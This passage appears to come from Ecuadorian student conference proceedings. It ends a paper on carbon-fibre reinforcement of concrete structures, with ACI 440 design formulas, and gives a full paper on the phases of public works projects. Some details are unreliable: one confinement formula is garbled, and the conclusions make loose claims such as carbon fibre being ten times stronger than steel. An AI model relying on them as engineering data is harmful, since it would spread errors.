Proceso de refuerzo estructural termina.

En sector de la construcción, el empleo de fibras de carbono se circunscribe principalmente a los **refuerzos estructurales** de diverso tipo. Todos estos refuerzos basan su aplicación en las características de las fibras de carbono y quedan altamente condicionadas por la producción de la misma, ejecutados bajo premisas de cálculo erróneas.

En vigas: En caras inferiores para incrementar sus resistencias a flexión o caras laterales, para su resistencia a corte.

En muros: Para mejorar su resistencia a flexión y cortante.

En soporte: Pudiendo incrementar las propiedades mecánicas de los mismos sin gran variación de la sección.

En forjados: Aligerados o no, especialmente en la caras inferiores del mismo.

Para el incremento: Sobrecargas, volumen de tráfico, cambio de uso de la estructura.

Daño da elementos estructurales: Envejecimiento de materiales de construcción o daños causados por el fuego, corrosión de acero de refuerzo.

Mejora de la capacidad de servicio: Limitación de las deformaciones, reducción de la tensión de acero, reducción del ancho de fisura.

Modificación del sistema estructural: Eliminación de columnas y muros, abertura en losa.

Errores de diseño o construcción: Secciones de hormigón insuficiente sección de acero insuficiente.

De esta forma, en fibra de carbono dentro del ámbito se realizan, principalmente empleo de bandas a adherir sobre elementos estructurales con patologías previas o bien,

Se pueden distinguir dos campos principales de aplicación: puente y edificación.

En la actualidad si está comenzando a implantar fibras de carbono como elemento estructural en puente convencionales con tráfico de vehículo en dos líneas diferentes:

La utilización de parilla de fibra de carbono que refuerzan al hormigón y sustituyen al armado metálico. Estas parillas son construidas en varias fases. En primer lugar se realiza el trenzado de la fibra mediante un procedimiento automatizado de “weaving”, a continuación se impregna con la matriz orgánica, quedando el material compuesto conformándose sobre un molde flexible, finalmente se aplica presión y calor para conseguir el curado del material.

Edificaciones

La fibra de carbono se utiliza de forma creciente en aquellas aplicaciones constructivas donde se requiere gran resistencia estructural y bajo peso.

Tipos De Intervención En Estructuras

Preventiva

Disminuir la vulnerabilidad de los elementos de la estructura

Actualización por nuevas cargas o reglamentos vigentes

Correctiva

Restituir condiciones originales en elementos dañados (fuego, ambientes agresivos, sismos, etc.)

Mejorar comportamiento

Los trabajos de actualización de estructuras se pueden clasificar de la siguiente manera:

Reforzamiento: aumento de secciones o adición de materiales nuevos que aumenten la capacidad resistente de los elementos estructurales y de la estructura en su conjunto.

Reparación estructural: Intervención sobre fallas y fisuras que intenta restituir las características iniciales de resistencia de la estructura, luego de un evento extraordinario que le provocó daños. **Restauración:** Intervención sobre la edificación orientada a recuperar las características arquitectónicas, pero sin restituir las características estructurales es de resistencia mecánica.

Rehabilitación: Intervención en una estructura para ponerla en funcionamiento, luego de ser afectada por un evento muy fuerte. Los casos en que debe de aplicarse el reforzamiento de estructuras son los siguientes:

- **Estructuras sin respaldo técnico:** Cuando una estructura fue construida de manera no técnica, sin respaldo y sin cumplir la norma sísmica, debe ser inmediatamente analizada y reforzada.

- **Cambio en el uso de la edificación:** Cuando una estructura fue diseñada para un propósito y el mismo se cambia a lo largo de su vida útil, debe de considerarse un rediseño y un reforzamiento. Un ejemplo sencillo es cuando el edificio fue diseñado para vivienda y ahora se utiliza para almacén o bodega y requiere de una carga mayor.

- **Fallas en la fase diseño:** Cuando se sospecha de vicios o fallas estructurales en la etapa de diseño, especialmente en lo que concierne al área donde se asumen errores. Estos errores normalmente se identifican por fisuras, hundimientos, o fallas localizadas.

- **Fallas en la fase construcción:** Cuando se sospeche de vicios o fallas estructurales en la etapa de construcción. Debe realizarse un chequeo, especialmente en el sector donde se observan fallas y deterioros.

- **Deterioro de los materiales:** Cuando se sospeche o se haya recabado suficiente información sobre el deterioro de los materiales constitutivos de la estructura, como el hormigón o el acero.

- Cuando se produzcan daños a la edificación debido a cargas accidentales como explosiones, fuego, impacto, cargas sísmicas o de viento.

- **Vida útil de la edificación:** Cuando se conozca que la estructura llegó o pasó su vida útil, debe realizarse un chequeo completo, con un modelo de análisis y chequeo de las características de los materiales

Tipos De Reforzamiento

Reforzamiento por aumento de secciones: Se aplica cuando se ha determinado que las secciones de la estructura no son suficientes frente a las cargas que deberá resistir.

Reforzamiento por deterioro de varillas de acero: Cuando se determina que, por los ataques químicos o ambientales, los aceros de la estructura están muy desgastados. La estructura tiene un déficit de capacidad de resistencia ante esfuerzos tensionales, ya que el hormigón no es capaz de resistir solventemente este tipo de esfuerzos, poniendo en peligro la estabilidad de la estructura. La fibra de carbono es un elemento que puede aportar con el refuerzo a tensión, siendo de alta resistencia, de fácil colocación y además con una capacidad mayor inclusive que el mismo acero para resistir esfuerzos tensionantes. También la fibra de carbono puede aportar confinamiento al material.

Refuerzo De Elementos Estructurales Con Hormigones

El refuerzo de pilares mediante técnicas de confinamiento es una metodología conocida, y sobre la que existen distintas variantes. En el caso particular del sistema confinamiento indirecto el llenado con el mortero del espacio entre la camisa y el pilar es una tarea difícil y la técnica empleada no asegura su correcto llenado. Para poder asegurar el correcto llenado del encamisado se utiliza hormigón autocompactante.

Comportamiento de la solución por confinamiento

Reforzamiento Por Fisuras En Los Elementos Estructurales

En el caso de producirse fisuras de los elementos estructurales, debe hacerse un estudio profundo de la razón de estas fisuras. Deben analizarse la dimensión de las fisuras, su ubicación y su ángulo para idéntica la razón de las mismas. Debe estudiarse la posibilidad de reemplazar elementos o porciones de elementos dañados o en el reforzamiento de elementos a través de fibras de carbono.

Tantos en obras de edificación como civil existen estructuras que requieren de su adecuación al uso, y reparación debido a la degradación, actualización a nuevas normativas, cambio de uso entre otras. Para dar respuestas a estas exigencias, surgió el refuerzo mediante platabandas de aceros. Pero debido a su alto costo de fabricación, al ser elementos muy pesados, dificultosas colocados y a su rápido deterioro por corrosión limitaron su uso.

La solución con fibra de carbono aporta no solo gran resistencia a tracción del material en relación al acero tradicional, sino que además, la solución con fibras de carbono presenta las siguientes ventajas en la relación a una solución tradicional:

Mejor apariencia estética. No se incrementan dimensiones de elementos ni se pierden alturas útiles del espacio.

Peso propios despreciable, muy ligeros. No sobrecarga la estructuras, lo que contribuye a que los medios auxiliares necesarios para su montaje sean menores, tales como maquinarias y cimbras.

Ejecución rápida y sencilla.

Solución poco invasiva, es decir, permite la ejecución sin impedir el normal funcionamiento del lugar.

Solución adaptable para cualquier tipo de terminación.

No se corroe, por lo que no necesita mantenimiento

Fácil y rápida aplicación.

Transporte cómodo y sencillo, no se necesitan medios auxiliares.

No necesita apuntalamiento

Una vez colocado apenas ocupa espacio.

Alta resistencia y fiabilidad.

Presente buen comportamiento frente a los agentes agresivos, por lo que apenas requieren mantenimiento

RESULTADO Y DISCUSIÓN

Comportamiento Estructural

El atractivo de los refuerzos con “compuestos” reside en sus altas resistencia a la tracción, durabilidad (resistencia a la corrosión); propiedades muy interesantes versus los refuerzos tradicionales de platabandas de aceros. A esto le demos añadir su alta relación resistencia/peso, proporcionando unos materiales muy manejables y rápidos de colocar.

Ventajas Y Desventajas

Ventajas De La Fibra De Carbono

Los compuestos de fibra de carbono se destacan de la multitud por varias razones. Éstos son algunos:

Ligero - la fibra de carbono es un material de baja densidad con una relación muy alta **resistencia** a peso

Alta resistencia a la **tracción** - una de las más fuertes de todas las fibras comerciales de refuerzo cuando se trata de la tensión, la fibra de carbono es muy difícil de estirar o doblar

Baja expansión térmica: la fibra de carbono se expandirá o se contraerá mucho menos en condiciones de frío o calor que los materiales como el acero y el aluminio

Durabilidad excepcional - la fibra de carbono tiene propiedades de fatiga superior en comparación con el metal, lo que significa que los componentes de fibra de carbono no se desgastarán tan rápidamente bajo el estrés de uso constante

Resistencia a la corrosión : cuando se hace con las resinas apropiadas, la fibra de carbono es uno de los materiales más resistentes a la corrosión disponibles

Radiolucencia : la fibra de carbono es transparente a la radiación e invisible en los rayos X, por lo que es valiosa para su uso en equipos e instalaciones médicas

Conductividad eléctrica - los **compuestos** de fibra de carbono son un excelente conductor de electricidad

Ultravioleta resistente - la fibra de carbono puede ser resistente a los rayos UV con el uso de las resinas adecuadas

Desventajas

La fibra de carbono se rompe o se rompe cuando se comprime, se empuja más allá de sus capacidades de fuerza o expuestos a un alto impacto. Se agrietará si es golpeado por un martillo. El mecanizado y los agujeros también pueden crear áreas débiles que pueden aumentar su probabilidad de romperse.

Costo relativo - la fibra de carbono es un material de alta calidad con un precio a juego. Si bien los precios han caído significativamente en los últimos cinco años, la demanda no ha aumentado lo suficiente como para aumentar sustancialmente el suministro. Como resultado, los precios probablemente seguirán siendo los mismos para el futuro cercano.

A Deformación Es Lineal A Lo Largo Del Espesor Del Laminado.

Placas delgadas. Se considera una placa delgada en la que ese cumpla la relación $h/L < 0.1$, donde h es el espesor total de la placa y L su longitud.

Diseño por flexión: ACI 4402R

Aplicación externamente adherida

Aplicación NSM (Near Surface Mounted)

Diseño por cortante: ACI 440.2R

$$\phi V_n \geq V_u \quad \phi V_n = \phi(V_c + V_s + \psi_f V_f) \quad (g)$$

$\Psi_f = 0.95$ – completamente envuelto

$\Psi_f = 0.85$ – adherido en forma de “U”

$\Psi_f = 0.85$ – adherido lateralmente

$$V_f = A_{fv} f_{fe} \frac{d_f (\sin \alpha + \cos \alpha)}{S_f}$$

Confinamiento: ACI 440.2R

Aumento de capacidad a carga axiales

Aumento en la resistencia a cortante

Aumento de resistencia a flexión y ductilidad

Confinamiento de traslapes.

Confinamiento: ACI 440.2R

$$f'_{cc} = f'_c = \psi_f 3.3 \kappa_a f_l \epsilon_{ccu} = \epsilon'_c \left(1.50 + 12 \kappa_b \frac{f_l}{f'_c} \left(\frac{\epsilon_{fe}}{\epsilon'_c} \right)^{0.45} \right)$$

No confinado

Confinado ligero

Fuerte confinamiento (delibilitamiento)

Fuerte confinamiento (endurereciamiento)

Refuerzo de mamposteria: ACI 440.7R

Refuerzo a flexion, cargas fuera de plano

$$\phi M_n \geq M_u \quad \phi = 0.6$$

$$M_n = A_f f_{fe} \left(d_f - \frac{\beta_1 c}{2} \right) + P_u \left(\frac{t}{2} - \frac{\beta_1 c}{2} \right)$$

Refuerzo a cortante, carga en el plano

$$\phi V_n \geq V_u \quad \phi = 0.8$$

$$V_f = \begin{cases} p_{fv} w_f \frac{d_v}{s_f} \\ p_{fv} \frac{d_v}{s_f} \text{ fo} \end{cases}$$

Tiras de CFRP

CONCLUSIONES

Muchas estructuras por haber superado su vida útil o haber sobrepasado un evento catastrófico requieren de una intervención para restaurar su capacidad. El objetivo es dar seguridad para que la estructura pueda superar con solvencia cualquier demanda de fuerza excepcional que se pueda provocar. Una forma muy moderna y práctica de restaurar la capacidad de una estructura es la fibra de carbono ya que este material ofrece características excelentes para la asimilación de esfuerzos y es poco vulnerable a ataques externos. La fibra de carbono fue patentada hace casi 200 años pero su uso se populariza a partir de los años ochenta, donde se utiliza en autos móviles, naves espaciales y en la construcción. La fibra de carbono es 10 veces más resistente que el acero, ya que puede alcanzar una pureza de hasta el 99% de carbono. Una tela de fibra de carbono puede llegar a tener hasta 400, 000 hilos más delgados que un cabello humano que se unen para generar su gran resistencia. En la construcción, utilizar fibra de carbono, actualmente, es caro en comparación con otros materiales pero ofrece beneficios superiores que cualquier otro.

REFERENCIAS BIBLIOGRÁFICAS

Belouar A. , A. Laraba, R. Benzaid y N. Chikh. “Structural performance of square concrete columns wrapped with CFRP”. The 2nd International Conference on Rehabilitation and Maintenance in Civil Engineering. Solo, Indonesia. 2013, pp 232 - 240

BERNAL, Susan, et al. Morteros geo poliméricos reforzados con fibras de carbono basados en un sistema binario de un subproducto industrial. Rev. Lat. Metal. Mater S, 2009, vol. 1, p. 587 - 592.

Irías A. “Refuerzo de elementos estructurales con hormigones con fibra o solo fibras”. Tesis de Master Universitario en Ingeniería de las Estructuras, cimentaciones y Materiales, Universidad Politécnica de Madrid, Madrid, España, 2013

Flores L., “Fibras de carbono: Reforzamiento de estructuras” PUCP Civilizate, Vol 3, pp 46 - 48, 2013.

Gómez M. , Sobrino J... “Criterios de diseño para el refuerzo de estructuras con materiales compuestos con fibra de carbono.” Revista de Ingeniería, no 18, p. 85 - 99. 2003

González Cuevas O.; J. Guerrero Correa; D. Arroyo Espinoza y L. Quiroz Soto. “Efecto de la fibra de carbono en las propiedades mecánicas de vigas de concreto reforzado”. XIII Congreso Nacional de Ingeniería Estructural, Puebla, México, 2002

BIOGRAFÍA DE AUTORES

Byron Alfredo Lino Pionce, Estudiante en la carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí. Graduado en la Unidad Educativa Fiscal Jipijapa como bachiller en Instalaciones, Equipos y Maquinas Eléctricas y dentro la misma cursado la última promoción del Programa del Diploma en Técnicos Industrial, en la convocatoria marzo 2014. Además, hecho los estudios escolares iniciales y graduado hasta el séptimo Año de Educación Básica en la unidad educativa Eleodoro Gonzales Cañartes.

LOS PROYECTOS DE OBRAS PÚBLICAS

Ing. Daniel David Carvajal Rivadeneira, Msc

Carlos Alfredo Piguave Rodríguez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

ddcarvajal100@hotmail.com, carpig@hotmail.com

RESUMEN

El presente trabajo comprende el estudio de las fases y requerimientos de los proyectos de Obras Públicas tomando como base las Normas de Control Interno utilizadas por las instituciones públicas ecuatorianas, aplicando métodos investigativos y analíticos para su desarrollo con la finalidad de identificar normas generales y especificaciones relacionadas con la administración financiera gubernamental y determinar la importancia de cumplir con las normativas aplicables para prevenir errores e irregularidades de los proyectos de Obras Públicas. Los proyectos de obras publicas deben pasar por las fases de estudios y diseños, ejecución o construcción y la operación y mantenimiento. Los proyectos de esta índole presentan requerimientos complejos justificando cada proceso con documentos legales verificados y controlados por organismos activos competentes que rigen en el país, siendo más rigurosos si pertenecen a los bienes y derechos del estado, y financiados por la misma entidad. Los proyectos civiles persiguen un objetivo puntual que es la de generar un beneficio común para la organización de un territorio, y mejorar la calidad de vida de una comunidad, región o país. Al estar tan ligada al desarrollo, sobre todo en el tema de infraestructuras, es una disciplina que se apoya en conocimientos de diferentes áreas. El control interno está orientado a cumplir con el ordenamiento jurídico, técnico y administrativo, promover eficiencia y eficacia de las operaciones de la entidad y garantizar la confiabilidad y oportunidad de la información, así como la adopción de medidas oportunas para corregir las deficiencias de control interno propios de las entidades públicas.

PALABRAS CLAVES: Proyectos, Obras Públicas; construcción, control, infraestructuras

ABSTRACT

The present work includes the study of the phases and requirements of the Public Works projects based on the Internal Control Standards used by the Ecuadorian public institutions, applying investigative and analytical methods for their development with the purpose of identifying general norms and related specifications. with the government financial administration and determine the importance of complying with the applicable regulations to prevent errors and irregularities in Public Works projects. Public works projects must go through the phases of studies and designs, execution and construction and operation and maintenance. Projects of this nature present complex requirements justifying each process with legal documents verified and controlled by competent active agencies that govern the country, being more rigorous if they belong to the state's assets and rights and financed by the same entity. The civil projects pursue a specific objective that is to generate a common benefit for

the organization of a territory, and improve the quality of life of a community, region or country. Being so linked to development, especially in the field of infrastructure, is a discipline that relies on knowledge from different areas. The internal control is oriented to comply with the legal, technical and administrative order, promote efficiency and effectiveness of the entity's operations and guarantee the reliability and timeliness of the information, as well as the adoption of appropriate measures to correct deficiencies in internal control owned by public entities.

KEYWORDS: Projects, Public Works; construction, control, infrastructures

INTRODUCCIÓN

El desarrollo de los proyectos de obras públicas involucra un volumen importante de recursos financieros y el proceso para su realización, desde su etapa de planeación hasta la ejecución, resulta complejo, por lo que es de vital importancia que las dependencias y entidades encargadas de llevarlas a cabo por las propias entidades públicas mediante la administración directa o mediante celebración de contratos con personas naturales o personas jurídicas, que cuenten con el personal idóneo y capaz de que interprete, asimile y aplique las leyes y normas, teorías y métodos de control, para lograr que las obras se diseñen y ejecuten en apego a los procedimientos con la calidad requerida, en el tiempo necesario y a costos razonables.

En entidades o dependencias gubernamentales que realizan obra pública, es muy común observar fallas desde su planeación hasta su ejecución y se pueden derivar de negligencia, insuficiencias de control interno o por posibles desconocimientos de las leyes, normas y procedimientos que regulan las diferentes etapas de realización de los proyectos de obras públicas.

Las obras públicas son los trabajos y actividades desarrolladas en construcción civil que requieren dirección técnica, expediente técnico aprobado, mano de obra, materiales e insumos, servicios varios, así como el equipo necesario para ejecutarlos con cargo a las partidas presupuestarias que estén debidamente aprobadas y asignadas independientemente del origen de los recursos financieros, para la construcción, conservación, mantenimiento, reparación y/o demolición de bienes inmuebles, así como la ejecución de obras de infraestructura, tanto urbana como rural, y otras construcciones necesarias para el cumplimiento de objetivos señalados en los proyectos de inversión aprobados por los organismos correspondientes, se consideran también los desembolsos que se incurren en servicios profesionales relacionados con la misma, como proyectos, diseños, estudios, consultoría y cualquier otro de naturaleza intangible que preliminarmente se consideró como un estudio o de naturaleza análoga. Evidentemente, la obra pública es diferente y debe ser diferenciada del proyecto de inversión que sigue su propio camino, aunque está estrechamente ligado a ésta. En cuanto al alcance de la ejecución de la obra podemos precisar que, este supone la ejecución de la obra física y financiera, y se divide en etapas de acuerdo con la naturaleza del proyecto.

Proyecto De Obra Pública

Proyecto de obra pública es aquel conjunto de antecedentes, estudios, evaluaciones financieras, sociales y económicas, que nos permiten tomar la decisión de realizar o no una inversión para la construcción de obras, bienes o servicios destinados a satisfacer necesidades de la población, considerado así hasta que sea culminado y empiece a producir lo esperado y forme parte de la economía en beneficio de la sociedad donde se desarrolla el mismo. Un proyecto se compone

de fases o etapas bien definidas, como los estudios o diseños, la ejecución o construcción, y la operación y el mantenimiento.

En la etapa inicial de un proyecto se realizarán todos los estudios necesarios para establecer si un proyecto de obra pública es viable o no, para lo cual se debe primero identificar la necesidad a satisfacer y sobre lo que se podría realizar para superarla. Acorde avancen los estudios deben de ir profundizándose, realizando los cálculos adecuados, disminuyendo la incertidumbre y poniendo a disposición mayores argumentos que ayudarán en la toma de la mejor decisión para ejecutar el proceso de resolución técnica del problema a superar.

Dentro de los estudios se puede realizar: el diagnóstico, perfil de proyecto, estudios de prefactibilidad y factibilidad, y los diseños definitivos. En cada una de ellas se debe realizar comparaciones del costo-beneficio del proyecto tanto en lo financiero como en lo social, para luego diseñar el proyecto con su presupuesto referencial, y con los plazos en los que se deben ejecutar las labores de construcción, sin perder de vista la proyecciones y evaluaciones, tanto para las etapas de operación y mantenimiento del proyecto, para que pueda tener una mayor vida útil. En la etapa de ejecución o construcción de la obra civil se debe contar con un control riguroso sobre todo en la calidad de los materiales para contar con la infraestructura esperada según los diseños realizados, para lo cual el sistema público ecuatoriano tiene a la contratación pública como su principal herramienta para poder construir, siendo sumamente clave el control de la fiscalización del proyecto, y del rol de la administración de los contratos.

Estudios de diagnóstico y perfil de proyecto de obra pública

Para iniciar con la idea de un proyecto debemos primero realizar un diagnóstico preliminar para solucionar la necesidad que se quiere superar o satisfacer, debiendo determinar la infraestructura o el servicio que se quiere brindar a la comunidad, determinando así mismo los impactos y riesgos a tomar, y que la inversión y el financiamiento esté acorde a la realidad local y nacional, sin que genere desacuerdos posteriores sobre todo en lo técnico en razón de las limitaciones económicas que pudieran existir. Al realizar el diagnóstico se puede advertir las probables soluciones a los problemas, y que al realizar el análisis se pueda establecer si la idea inicial debe o no continuar dependiendo de los análisis técnicos, legales, financieros y socio económicos, lo que permitirá clarificar la toma de decisiones si se continúan o no con los estudios, o se postergan para ser retomados en un futuro mediano cuando las condiciones para la realización del proyecto mejoren.

Hay que tener en cuenta que cuando se pretenda presentar un proyecto a consideración de un ente gubernamental, luego del debido diagnóstico, se deberá preparar un perfil del mismo, donde se muestren los beneficios, costos, necesidad a satisfacer, cobertura de la población a beneficiar; debiendo identificar en el perfil del proyecto los antecedentes, condiciones económicas y sociales, objetivos institucionales alineados a las políticas públicas y planes nacionales, regionales y locales, con el claro propósito de obtener la aprobación e interés del ente que financie el proyecto de obra pública en el cual se quiere emprender. El perfil del proyecto debe incluir también un análisis preliminar de los aspectos técnicos con las posibles opciones de desarrollarlo, comparación que podrá entregar de forma general proyecciones de cuales opciones pueden ser viables o factibles y cuales no lo serán, y que además deberá incluir la posible cobertura futura del proyecto.

Estudios de prefactibilidad y de factibilidad de un proyecto de obra pública

Con el estudio de prefactibilidad se podrá verificar la viabilidad de un proyecto, y que a partir del diagnóstico y perfil de un proyecto se haya podido establecer mediante el estudio de alternativas viables, cuyo objetivo es profundizar y comparar todos los componentes para establecer el costo beneficio. En la prefactibilidad se debe realizar el estudio de los aspectos legales, técnicos, estudio socio económico, y un estudio del impacto ambiental del proyecto, con el fin de tomar las precauciones necesarias y preservar, remediar, contrarestar y restaurar el daño ambiental que pudiera generar la ejecución y operación del proyecto de obra pública en el que se quiere emprender; estableciendo también la comparación de los posibles costos entre las opciones analizadas.

El estudio de factibilidad en cambio calcula y valora de manera más precisa los costos y beneficios de esa alternativa o de algunas combinadas que resultare o resultaren como viables del análisis del estudio de prefactibilidad. Los proyectos viables, continuarán gradualmente estudiándose de forma detallada y considerando siempre a la alternativa más viable o rentable, para continuar con los estudios preliminares o anteproyecto, sin descuidar que se realicen las evaluaciones financieras y socio-económicas, que se utilizarán como elementos fundamentales para tomar la decisión de continuar con la finalidad de ejecutar el proyecto, o desistir en caso de no convenir luego de los análisis realizados, y también entregará una idea de la fuente de financiamiento que deberá buscarse para cristalizar el proyecto.

Estudios o diseños definitivos de un proyecto de obra pública

En esta fase se detallan todos los documentos y planos constructivos fundamentales para realizar la construcción o ejecución del proyecto, y posterior puesta en funcionamiento u operación. Los documentos del diseño definitivo son el resultado de los aportes del equipo de profesionales multidisciplinarios o consultores con el conocimiento apropiado según las características del proyecto. Estos documentos deben ser aprobados y revisados por las entidades gubernamentales y entidades financieras de dichos proyectos, para que aporten con sus observaciones o correcciones, y puedan realizarse las mejoras en el diseño definitivo del proyecto de obra pública que se quiera desarrollar.

El equipo de consultores que trabajen en la elaboración de los diseños definitivos deberán aplicar y observar todas las normas técnicas y regulaciones particulares y específicas según su experticia y los aspectos que estén a su cargo para realizar los cálculos y diseños, coordinando permanentemente con el resto de miembros del equipo así como con la comunidad a servir y la entidad a cargo de desarrollar el proyecto para evitar sobredimensionar o por el contrario diseñar debajo de las expectativas esperadas.

Es muy importante que al realizar los planos que servirán para la construcción del proyecto, estos contengan la información gráfica y escrita necesaria para la debida ejecución de la obra. En los planos se debe fácilmente encontrar las características físicas y especificaciones técnicas y geométricas de cada elemento que se necesite elaborar, así como su calidad y todos los aspectos importantes que el consultor a través del diseño haya definido o calculado.

Igualmente se deben considerar las condiciones generales y especificaciones técnicas, ya que estos documentos son un complemento de los planos constructivos, proporcionando información primordial para la debida construcción de la obra. En las especificaciones técnicas se tratarán todos los aspectos técnicos de la obra. Por cada especificación se debe considerar algunos aspectos como los siguientes: descripción del rubro con sus características relevantes;

materiales necesarios para la ejecución del proyecto u obra; equipo mínimo y características; procedimientos de trabajo, elaboración y secuencia; ensayos de laboratorio y tolerancias permisibles; medición de los rubros; forma de pago; y algún otro detalle importante.

Con los planos y las especificaciones técnicas, el equipo responsable de elaborar el presupuesto detallado de la obra, deberá calcularlo por unidad de obra o por rubro de trabajo, equivalente a cada una de las partes que componen el proceso de construcción. Los precios unitarios estarán compuestos por los costos directos, los costos indirectos, la utilidad e imprevistos. Los costos mencionados se desglosarán en sus componentes, y se indicarán los porcentajes de la utilidad y de los imprevistos considerados con respecto al monto total del presupuesto de la obra.

Los costos directos son los gastos efectuados para ejecutar la unidad de obra de un rubro determinado, siendo parte los materiales, la mano de obra y la maquinaria. Los costos indirectos son los gastos generales en que incurre el constructor o contratista, ya sea en oficinas administrativas o en el lugar de la obra, y que no son parte de un rubro o labor de construcción, pero obligatorios para solventar todos los trabajos, y que no se los puede cargar a un rubro determinado, sino que son parte de toda la obra.

Ejecución o construcción de la obra pública

La entidad gubernamental que tenga a su cargo construir o ejecutar un proyecto de obra pública deberá seleccionar la modalidad de ejecución de los trabajos, debiendo comparar los requerimientos de recursos para la ejecución de la obra con los que tiene disponibles la institución. Entre las posibilidades de construir la obra tenemos que se pueda realizar por administración directa, por contrato o por concesión. Sin importar la modalidad de construcción que el organismo público elija, esta deberá realizarse observando las disposiciones legales y reglamentarias que rigen para cada caso.

Al referirse a la construcción de obra por administración directa es aquella en la que la misma institución ejecuta o construye la obra pública con sus propios recursos humanos, materiales, maquinarias, etc. Si el proyecto de obra pública se ejecuta por contrato, la entidad pública, por un monto y plazo de acuerdo a los pliegos o términos de referencia establecidos previamente, realiza la selección de un proveedor o contratista que será el responsable de su construcción. Si la entidad estatal decide desarrollar la obra o servicio público por concesión, la administración pública estará delegando a una empresa privada la ejecución, rehabilitación, el servicio, o la construcción del proyecto, dándole a cambio el permiso para explotarlo u operarlo por un período determinado, tiempo en el cual esta empresa privada debe efectuar el mantenimiento adecuado.

En cualquiera de estas modalidades de ejecución o construcción de un proyecto de obra pública, la fiscalización será la base principal en el control que asegure y garantice la debida ejecución de la misma, con tres aspectos fundamentales como son el control de calidad de la obra, el control de avance físico de la obra, y el control de avance financiero de la obra. También es fundamental el rol que cumplirá la Administración del proyecto, a través de los administradores de la obra o administradores de los contratos que deberán supervisar las tareas emprendidas por la fiscalización, debiendo velar la calidad, costo y plazo de la obra pública en ejecución o construcción.

Es fundamental que para mejorar los sistemas de supervisión y control al ejecutar o construir una obra, los intervinientes de la misma (administradores, fiscalizadores y constructores)

garanticen que en el sitio o lugar de la obra se encuentren disponibles estos documentos: contrato de construcción firmado (copia); planos constructivos; especificaciones técnicas, generales y específicas; programa de ejecución de los trabajos debidamente aprobados; libro de obra; correspondencia mantenida entre administración, fiscalización y contratista; planillas y avance financiero de la obra; resultados de las pruebas y ensayos de laboratorio. Así mismo, deberá mantenerse al día el libro de obra que no es más que la memoria de la construcción del proyecto, que detalla y describe cronológicamente los trabajos, tareas y actividades emprendidas, y que sirve para controlar la debida ejecución de la obra y para facilitar la supervisión del proyecto en ejecución.

Operación y Mantenimiento de un proyecto de obra pública

En la etapa de operación del proyecto la obra debe funcionar u operar correctamente según fue diseñado, es decir funcionar de acuerdo a lo planeado y programado cumpliendo con los fines para el cual fue construido, de manera eficiente y garantizando la calidad y seguridad durante todo el tiempo de vida útil considerado en los estudios.

Mientras el proyecto o servicio está en funcionamiento u operación, se deben realizar acciones y trabajos de mantenimiento en forma continua o periódica, de manera sistemática, para proteger las obras físicas de la acción del tiempo y del desgaste por su uso y operación, asegurando el máximo rendimiento de las funciones para las cuales éstas han sido construidas.

En la etapa de operación se debe tener en consideración los mantenimientos ordinarios, preventivos, correctivos, y reparaciones extraordinarias. El mantenimiento ordinario es aquel que comprende todos aquellos trabajos periódicos sobre elementos comunes o privativos que según las características técnicas de la infraestructura se han de realizar con motivo de su utilización, envejecimiento y desgaste. El mantenimiento preventivo comprende toda medida tomada con antelación y previsión, durante el período de uso y mantenimiento de la estructura; mientras que el mantenimiento correctivo es aquel que se debe aplicar para corregir la falla o daño, cuando este se haya presentado.

MATERIALES Y MÉTODOS

MATERIALES

- Computador
- Copias
- Impresora
- Internet
- Lápiz
- Materiales de oficina (grapadora, perforadora, carpetas)
- Pendrive

MÉTODOS:

- Investigativo
- Analítico

RESULTADOS Y DISCUSIÓN

Finalmente determinamos que los proyectos de obra pública deben estar respaldados por los estudios, diseños y presupuestos debidamente realizados siguiendo el respectivo proceso los mismos que deben ser regidos por normas y especificaciones técnicas, determinando principalmente la relación costo-beneficio con la correspondiente evaluación financiera o social del proyecto para definir su ejecución, con cargo a las partidas presupuestarias que estén aprobadas y asignadas independientemente del origen de los recursos financieros, para la construcción, operación y mantenimiento. Se debe contratar el personal idóneo y capaz que interprete, asimile y aplique las leyes y normas, teorías y métodos de control, para lograr que las obras se contraten en apego a los procedimientos y se ejecuten con la calidad requerida, en el tiempo necesario y a costos razonables.

CONCLUSIONES

El desarrollo de cualquier proyecto de obra pública debe estar sustentado en las bases de los usuarios y en el desarrollo efectivo de los estudios o diseños, documentos en los cuales el área usuaria describe en forma pormenorizada sus requerimientos y datos técnicos de su futura obra; con la información que se debe proporcionar para que pueda ejecutarse el proyecto.

Cualquier proyecto debe llevarse a cabo con apego a la normatividad aplicable considerándolo en las etapas de diseño, construcción, operación y mantenimiento de la obra. Las obras civiles demandan de una alta sensibilidad a nivel social y económico para satisfacer las necesidades humanas aportando al desarrollo del bien común de los pueblos.

Por otra parte, estamos obligados a considerar los efectos sobre el medio ambiente que pueda causar la ejecución de las obras con sustento en la evaluación de impacto ambiental, por lo que los proyectos deben incluir las obras necesarias a fin de preservar las condiciones ambientales cuando estas pudieran deteriorarse.

RECOMENDACIÓN

Cumplir rigurosamente con los requerimientos y exigencias en cada fase del proyecto, desde el diseño, ejecución o construcción, operación y mantenimiento, identificando las herramientas que aumenten la capacidad de una buena administración del proyecto de obra pública, participando para cumplir con los objetivos y metas propuestas conjuntamente con los beneficiarios, consultores, constructores, operadores, entidades gubernamentales, fiscalizadores, administradores de obra y todos quienes de manera directa o indirecta participen en cualquier momento del proyecto de obra pública, debiendo para ello alentar una buena planificación, organización, dirección, evaluación y retroalimentación de cada fase o etapa del proyecto a desarrollar para satisfacer la necesidad a superar.

REFERENCIAS BIBLIOGRÁFICAS

Ecured. (s.f.). Obtenido de https://www.ecured.cu/Mantenimiento_de_obras

Erazo, V. (s.f.). Obtenido de <http://dspace.unach.edu.ec/bitstream/51000/3620/1/UNACH-EC-ING-CIVIL-2017-0011.pdf>

Management, P. (s.f.). Obtenido de <https://www.obs-edu.com/int/blog-project-management/viabilidad-de-un-proyecto/costos-directos-e-indirectos-de-un-proyecto>

Pérez, P. E. (2010). Derecho y Política, dos pasiones. Obtenido de <http://blog.pucp.edu.pe/blog/patrickeperezdeza/2010/12/08/obras-publicas-introduccion/>

Publicas, L. d. (2014). Obtenido de <http://tesis.uson.mx/digital/tesis/docs/8725/Capitulo1.pdf>

República, C. G. (s.f.). Obtenido de <https://www.contraloria.gov.co/contraloria/la-entidad>

School, O. B. (s.f.). Obtenido de <https://www.obs-edu.com/int/blog-project-management/tipos-de-proyecto/conoces-los-proyectos-de-obra-civil-principales-caracteristicas>

